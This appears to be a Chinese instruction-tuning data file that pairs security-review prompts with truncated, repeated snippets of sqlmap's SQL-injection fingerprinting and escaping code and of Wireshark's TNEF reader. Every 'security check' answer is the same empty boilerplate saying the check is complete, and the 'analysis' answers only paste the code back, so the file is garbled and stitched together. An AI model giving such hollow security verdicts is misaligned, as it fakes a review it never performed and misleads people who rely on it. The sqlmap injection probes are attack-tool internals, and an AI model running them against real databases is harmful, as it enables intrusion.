from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import OS
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.PGSQL)

    def getFingerprint(self):
        fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)

        if fork is None:
            if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
                fork = FORK.COCKROACHDB
            elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"):      # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
                fork = FORK.REDSHIFT
            elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"):     # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
                fork = FORK.GREENPLUM
            elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"):   # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html
                fork = FORK.YELLOWBRICK
            elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"):  # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html
                fork = FORK.ENTERPRISEDB
            elif inject.checkBooleanExpr...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import OS
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.PGSQL)

    def getFingerprint(self):
        fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)

        if fork is None:
            if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
                fork = FORK.COCKROACHDB
            elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"):      # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
                fork = FORK.REDSHIFT
            elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"):     # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
                fork = FORK.GREENPLUM
            elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"):   # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html
                fork = FORK.YELLOWBRICK
            elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"):  # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html
                fork = FORK.ENTERPRISEDB
            elif inject.checkBooleanExpr...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tnef.c
 *
 * Transport-Neutral Encapsulation Format (TNEF) file reading
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "tnef.h"

static int tnef_file_type_subtype = -1;

void register_tnef(void);

wtap_open_return_val tnef_open(wtap *wth, int *err, gchar **err_info)
{
  guint32 magic;

  if (!wtap_read_bytes(wth->fh, &magic, sizeof magic, err, err_info))
    return (*err != WTAP_ERR_SHORT_READ) ? WTAP_OPEN_ERROR : WTAP_OPEN_NOT_MINE;

  if (GUINT32_TO_LE(magic) != TNEF_SIGNATURE)
     /* Not a tnef file */
     return WTAP_OPEN_NOT_MINE;

  /* seek back to the start of the file  */
  if (file_seek(wth->fh, 0, SEEK_SET, err) == -1)
    return WTAP_OPEN_ERROR;

  wth->file_type_subtype = tnef_file_type_subtype;
  wth->file_encap = WTAP_ENCAP_TNEF;
  wth->snapshot_length = 0;

  wth->subtype_read = wtap_full_file_read;
  wth->subtype_seek_read = wtap_full_file_seek_read;
  wth->file_tsprec = WTAP_TSPREC_SEC;

  return WTAP_OPEN_MINE;
}

static const struct supported_block_type tnef_blocks_supported[] = {
  /*
   * This is a file format that we dissect, so we provide only one
   * "packet" with the file's contents, and don't support any
   * options.
   */
  { WTAP_BLOCK_PACKET, ONE_BLOCK_SUPPORTED, NO_OPTIONS_SUPPORTED }
};

static const struct file_type_subtype_info tnef_info = {
  "Transport-Neutral Encapsulation Format", "tnef", NULL, NULL,
  FALSE, BLOCKS_SUPPORTED(tnef_blocks_supported),
  NULL, NULL, NULL
};

void register_tnef(void)
{
  tnef_file_type_subtype = wtap_register_file_type_subtype(&tnef_info);

  /*
   * Register name for backwards compatibility with the
   * wtap_filetypes table in Lua.
   */
  wtap_register_backwards_compatibility_lua_name("TNEF",
                                                 tnef_file_type_subtype);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tnef.c
 *
 * Transport-Neutral Encapsulation Format (TNEF) file reading
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "tnef.h"

static int tnef_file_type_subtype = -1;

void register_tnef(void);

wtap_open_return_val tnef_open(wtap *wth, int *err, gchar **err_info)
{
  guint32 magic;

  if (!wtap_read_bytes(wth->fh, &magic, sizeof magic, err, err_info))
    return (*err != WTAP_ERR_SHORT_READ) ? WTAP_OPEN_ERROR : WTAP_OPEN_NOT_MINE;

  if (GUINT32_TO_LE(magic) != TNEF_SIGNATURE)
     /* Not a tnef file */
     return WTAP_OPEN_NOT_MINE;

  /* seek back to the start of the file  */
  if (file_seek(wth->fh, 0, SEEK_SET, err) == -1)
    return WTAP_OPEN_ERROR;

  wth->file_type_subtype = tnef_file_type_subtype;
  wth->file_encap = WTAP_ENCAP_TNEF;
  wth->snapshot_length = 0;

  wth->subtype_read = wtap_full_file_read;
  wth->subtype_seek_read = wtap_full_file_seek_read;
  wth->file_tsprec = WTAP_TSPREC_SEC;

  return WTAP_OPEN_MINE;
}

static const struct supported_block_type tnef_blocks_supported[] = {
  /*
   * This is a file format that we dissect, so we provide only one
   * "packet" with the file's contents, and don't support any
   * options.
   */
  { WTAP_BLOCK_PACKET, ONE_BLOCK_SUPPORTED, NO_OPTIONS_SUPPORTED }
};

static const struct file_type_subtype_info tnef_info = {
  "Transport-Neutral Encapsulation Format", "tnef", NULL, NULL,
  FALSE, BLOCKS_SUPPORTED(tnef_blocks_supported),
  NULL, NULL, NULL
};

void register_tnef(void)
{
  tnef_file_type_subtype = wtap_register_file_type_subtype(&tnef_info);

  /*
   * Register name for backwards compatibility with the
   * wtap_filetypes table in Lua.
   */
  wtap_register_backwards_compatibility_lua_name("TNEF",
                                                 tnef_file_type_subtype);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax

class Syntax(GenericSyntax):
    @staticmethod
    def escape(expression, quote=True):
        """
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar"
        True
        """

        def escaper(value):
            return "&".join("CHR(%d)" % _ for _ in getOrds(value))

        return Syntax._escape(expression, quote, escaper)